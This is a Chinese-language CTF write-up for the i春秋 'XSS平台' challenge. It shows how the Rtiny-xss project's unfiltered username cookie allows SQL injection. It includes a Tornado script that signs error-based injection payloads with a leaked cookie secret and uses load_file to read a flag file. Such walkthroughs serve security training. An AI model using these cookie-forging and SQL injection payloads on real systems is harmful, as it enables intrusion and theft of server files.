i春秋 “百度杯”CTF比赛 九月场 XSS平台

欢迎扫码关注微信公众号
i春秋 “百度杯”CTF比赛 九月场 XSS平台_第1张图片

https://www.ichunqiu.com/battalion?t=1

这道题是一道代码审计题,对于我这个萌新来说,不看大佬们的writeup是根本无从下手的,得到的提示就是github上的开源项目Rtiny:https://github.com/r0ker/Rtiny-xss/tree/master

大佬们是通过构造非法参数来让网页返回错误信息的,如下:
i春秋 “百度杯”CTF比赛 九月场 XSS平台_第2张图片
然后就可以搜索到这个项目了,审查里面的代码,发现lock.py文件中的代码是存在注入的:
i春秋 “百度杯”CTF比赛 九月场 XSS平台_第3张图片
我们可以随意构造username,代码没有做任何过滤
set_secure_cookietornado的一个方法:
i春秋 “百度杯”CTF比赛 九月场 XSS平台_第4张图片

但是这个cookie是被加密过的,加密使用的keyindex.php文件中,所以我们只需要将自己的注入语句,使用相同的key加密即可,脚本如下:

import tornado.ioloop
import tornado.web 
 
settings = { 
   "cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
}

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("Hello")
        #self.set_secure_cookie("username", "' and 1=2 union select (1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema='xss')));#")
        self.set_secure_cookie("username", "' and 1=2 union select extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),20,62)));#")
        self.write(self.get_secure_cookie("username"))

def make_app():
    return tornado.web.Application([
        (r"/index", MainHandler),
        ], **settings)

if __name__ == "__main__":
    app = make_app()
    app.listen(8080)
    tornado.ioloop.IOLoop.instance().start()

使用报错注入构造注入语句,脚本运行之后,访问本机IP:8080/index抓取cookie即可:建议使用火狐

i春秋 “百度杯”CTF比赛 九月场 XSS平台_第5张图片

然后访问I春秋的题目,Burpsuit抓取,放到repeat模块中,增加参数cookie[username]并将其值设为刚才抓取到的cookie值即可,有一点要注意,显示长度是有限的,如果想要的结果长度过长,需要使用mid或者substr逐段截取,最后获取flag的时候,通过load_file读取flag文件:

select load_file('/var/www/html/f13g_ls_here.txt')

你可能感兴趣的:(I春秋)